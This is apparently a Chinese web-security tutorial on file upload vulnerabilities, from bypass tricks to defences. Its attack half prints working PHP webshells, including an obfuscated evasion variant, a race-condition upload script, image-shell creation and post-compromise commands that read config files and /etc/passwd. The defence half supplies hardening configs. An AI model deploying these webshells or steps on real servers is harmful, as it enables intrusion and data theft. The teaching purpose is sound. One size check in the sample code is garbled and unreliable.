文件上传漏洞:从任意文件到GetShell

作者:Yolo 发布时间: 2026-05-23 阅读量:1

文件上传漏洞(File Upload Vulnerability)是 Web 安全中危害最大的漏洞之一。攻击者上传恶意文件到服务器,就能执行任意代码、控制服务器,甚至作为跳板渗透到内网。这篇文章从原理、攻击手法、绕过技巧到防御方案,系统地讲解这个经典漏洞。

一、什么是文件上传漏洞

文件上传漏洞的核心问题是:服务器对用户上传的文件缺乏充分的校验和控制,导致攻击者能够上传非预期的文件类型(如 PHP、JSP、ASP 等可执行脚本),并通过 Web 服务器解析执行,最终获得服务器控制权(GetShell)。

1.1 漏洞产生的根本原因

  1. 前端校验可被绕过:仅依赖 JavaScript 检查文件扩展名,攻击者可直接修改请求
  2. 后端校验不严格:黑名单不完整、MIME 类型可被伪造、文件内容未检测
  3. 解析配置错误:Web 服务器配置不当,导致非脚本文件被当作代码执行
  4. 上传路径可控:攻击者能控制文件保存位置,配合路径遍历写入危险目录
  5. 文件重命名逻辑缺陷:仅修改文件名而未改变文件本质,或重命名规则可预测

1.2 漏洞的危害等级

危害类型具体影响
远程代码执行(RCE)上传 WebShell,完全控制服务器
权限提升利用服务器漏洞进一步获取系统权限
内网渗透以被控服务器为跳板攻击内网
数据窃取读取数据库配置、用户敏感信息
持久化后门植入木马,长期控制
横向移动利用同一台服务器攻击其他服务

二、常见的上传校验方式及其绕过

2.1 前端校验绕过

前端校验通常通过 JavaScript 检查文件扩展名或 MIME 类型。

防御代码示例(前端):

function checkFile() {
var file = document.getElementById('upload').value;
var ext = file.substring(file.lastIndexOf('.')).toLowerCase();
if (ext != '.jpg' && ext != '.png' && ext != '.gif') {
alert('只允许上传图片文件!');
return false;
}
}

绕过方法:

  1. 直接禁用浏览器 JavaScript
  2. 使用 Burp Suite 拦截请求,修改文件名
  3. 先上传合法文件,再抓包修改为恶意文件

2.2 MIME 类型校验绕过

后端通过 Content-Type 头判断文件类型。

防御代码示例(PHP):

if ($_FILES['file']['type'] != 'image/jpeg' &&
$_FILES['file']['type'] != 'image/png') {
die('文件类型不正确');
}

绕过方法:
抓包修改 Content-Type 为合法类型:

Content-Type: image/jpeg

2.3 黑名单扩展名校验绕过

黑名单机制禁止特定扩展名上传。

防御代码示例:

$blacklist = array('php', 'jsp', 'asp', 'aspx', 'exe');
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if (in_array(strtolower($ext), $blacklist)) {
die('禁止上传该类型文件');
}

绕过方法:

绕过方式原理示例
大小写混合黑名单未统一转小写Php, pHp
特殊扩展名等价解析扩展名php3, php4, php5, phtml
Apache 解析漏洞多扩展名从右向左解析shell.php.jpg(配置错误时)
Nginx 解析漏洞路径截断解析/uploads/shell.jpg/.php
Windows 特性特殊字符截断shell.php., shell.php::$DATA
双写扩展名替换逻辑缺陷shell.pphphp
.htaccess 攻击修改目录解析规则上传 .htaccess.jpg 解析为 PHP

2.4 白名单校验绕过

白名单仅允许特定扩展名,安全性高于黑名单,但仍可能被绕过。

防御代码示例:

$whitelist = array('jpg', 'jpeg', 'png', 'gif');
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if (!in_array(strtolower($ext), $whitelist)) {
die('只允许上传图片文件');
}

绕过方法:

1. %00 截断(PHP < 5.3.4)

filename="shell.php%00.jpg"

PHP 处理时 %00 截断后续字符,实际保存为 shell.php

2. 路径遍历 + 截断

POST /upload.php?path=../uploads/shell.php%00 HTTP/1.1
Content-Disposition: form-data; name="file"; filename="shell.jpg"

3. 文件包含漏洞配合

上传图片马(含 PHP 代码的图片),配合文件包含漏洞执行:

include('uploads/shell.jpg');  // 图片中的 PHP 代码会被执行

2.5 文件内容校验绕过

通过检查文件头(Magic Number)判断真实文件类型。

常见文件头:

文件类型文件头(Magic Number)
JPEGFF D8 FF
PNG89 50 4E 47
GIF47 49 46 38
ZIP50 4B 03 04

绕过方法:

  1. 文件头伪造:在恶意文件前添加合法文件头

GIF89a
<?php @eval($_POST['cmd']); ?>

  1. 图片二次渲染绕过

- 上传正常图片,下载渲染后的图片
- 分析渲染前后差异,在未被修改的区域植入代码
- 重新上传植入代码的图片

  1. 条件竞争(Race Condition):

# 上传的同时不断访问,利用时间窗口执行
import requests
import threading

def upload():
files = {'file': ('shell.php', '<?php system($_GET[1]);?>')}
requests.post('http://target/upload.php', files=files)

def access():
requests.get('http://target/uploads/shell.php?1=id')

# 多线程同时上传和访问

三、Web 服务器解析漏洞

即使上传的是"合法"图片文件,服务器配置错误仍可能导致代码执行。

3.1 Apache 解析漏洞

Apache 从右向左解析,遇到不认识的扩展名继续向左:

shell.php.jpg.jpg.jpg  ->  最终解析为 shell.php

影响版本: Apache 1.x, 2.x(配置 mod_mimemod_php 时)

3.2 Nginx 解析漏洞(CVE-2013-4547)

Nginx 对路径中的 %00 处理不当:

/uploads/shell.jpg%00.php

或配置错误导致所有路径都交给 PHP 处理:

location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
}
# 错误配置:/uploads/shell.jpg/something.php 会被解析

3.3 IIS 解析漏洞

IIS 6.0 的两个经典漏洞:

  1. shell.asp;.jpg 被解析为 ASP
  2. shell.asp 目录下的任意文件被当作 ASP 解析

3.4 .htaccess 攻击

上传 .htaccess 文件修改目录解析规则:

AddType application/x-httpd-php .jpg

之后上传 .jpg 文件即可被当作 PHP 执行。

四、实战攻击流程

4.1 信息收集

  1. 判断技术栈

- 通过响应头判断服务器类型(Apache/Nginx/IIS)
- 通过错误页面判断语言(PHP/JSP/ASP)
- 通过 URL 特征判断框架

  1. 探测上传点

- 用户头像上传
- 文件附件上传
- 富文本编辑器图片上传
- API 接口文件上传

  1. 分析校验机制

- 前端:查看页面源码中的 JavaScript
- 后端:通过不同文件测试响应差异

4.2 上传 WebShell

基础 PHP 一句话木马:

<?php @eval($_POST['cmd']); ?>

免杀变形:

<?php $_='a';$__='b';$___='c';$____='d';$_____='e';
$______='f';$_______='g';$________='h';$_________='i';
// 字符串拼接绕过简单特征检测
$a = 'ev'.'al';
$b = 'ba'.'se64_'.'de'.'code';
$a($b($_POST['x']));
?>

图片马制作:

# 将 PHP 代码追加到图片末尾
cat normal.jpg shell.php > shell.jpg

4.3 获取 Shell 后的操作

# 1. 查看当前权限
whoami
id

# 2. 查看系统信息
uname -a
cat /etc/os-release

# 3. 寻找敏感文件
cat ../../config.php # 数据库配置
cat /etc/passwd
find / -name "*.conf" -type f 2>/dev/null

# 4. 权限提升
# 查找 SUID 文件
find / -perm -4000 -type f 2>/dev/null
# 检查内核漏洞
uname -r

五、防御方案

5.1 上传目录隔离

# Nginx:禁止上传目录执行脚本
location ^~ /uploads/ {
location ~ .*\.(php|jsp|asp|aspx)$ {
deny all;
}
}

# Apache:.htaccess 或配置文件
<Directory "/var/www/uploads">
php_flag engine off
<FilesMatch "\.(php|php3|php4|php5|phtml|pl|py|jsp|asp|aspx|cgi|sh|bash)$">
Order allow,deny
Deny from all
</FilesMatch>
</Directory>

5.2 文件重命名与存储

// 1. 使用随机文件名,不保留原始扩展名
$filename = md5(uniqid() . rand()) . '.' . $real_ext;

// 2. 分离存储:文件内容存对象存储,元数据存数据库
// 不直接通过 URL 访问原始文件

// 3. 使用 OSS/S3 等云存储的私有 bucket

5.3 严格的文件校验

function safeUpload($file) {
// 1. 白名单校验扩展名
$whitelist = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $whitelist)) {
return false;
}

// 2. 校验 MIME 类型(不可全信,仅作参考)
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);

$allowed_mimes = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime, $allowed_mimes)) {
return false;
}

// 3. 校验文件头(Magic Number)
$handle = fopen($file['tmp_name'], 'rb');
$header = fread($handle, 8);
fclose($handle);

$valid_headers = [
"\xFF\xD8\xFF" => 'jpg',
"\x89PNG\r\n\x1a\n" => 'png',
"GIF87a" => 'gif',
"GIF89a" => 'gif'
];

$valid = false;
foreach ($valid_headers as $magic => $type) {
if (strpos($header, $magic) === 0) {
$valid = true;
break;
}
}
if (!$valid) return false;

// 4. 图片二次渲染(彻底破坏嵌入的代码)
if ($ext === 'jpg' || $ext === 'jpeg') {
$img = imagecreatefromjpeg($file['tmp_name']);
if (!$img) return false;
imagejpeg($img, $file['tmp_name'], 90);
imagedestroy($img);
}

// 5. 限制文件大小
if ($file['size'] > 5 1024 1024) { // 5MB
return false;
}

// 6. 存储到非 Web 目录或使用随机文件名
$save_name = bin2hex(random_bytes(16)) . '.' . $ext;
move_uploaded_file($file['tmp_name'], '/non-web-dir/' . $save_name);

return $save_name;
}

5.4 文件下载代理

不直接暴露文件路径,通过代理读取:

// download.php?id=123
$file_id = intval($_GET['id']);
$file_info = getFileFromDB($file_id);

// 强制设置 Content-Type,不根据扩展名判断
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $file_info['name'] . '"');
readfile('/secure-storage/' . $file_info['storage_name']);

5.5 WAF 与 RASP

  1. WAF 规则:检测上传数据中的 <?php, <%, eval(, system( 等特征
  2. RASP(运行时应用自我保护):监控文件上传后的行为,阻止异常文件操作

六、总结

文件上传漏洞的防御核心在于:假设所有上传的文件都是恶意的

防御层级措施有效性
网络层CDN/WAF 拦截★★☆
服务器层目录执行权限控制★★★
应用层白名单 + 文件头 + 二次渲染★★★
存储层分离存储 + 随机文件名★★★
访问层代理下载 + 强制 Content-Type★★☆

最佳实践组合:

  1. 前端类型提示(用户体验)+ 后端严格白名单校验
  2. 文件头 + MIME + 二次渲染三重验证
  3. 上传目录禁止脚本执行(Web 服务器配置)
  4. 文件重命名并存储到非 Web 目录
  5. 通过代理接口提供下载,不暴露真实路径
  6. 定期审计上传文件,监控异常行为

文件上传漏洞看似"只是上传了个文件",实则是攻击者进入内网的黄金通道。做好上传安全,等于守住了 Web 应用的第一道大门。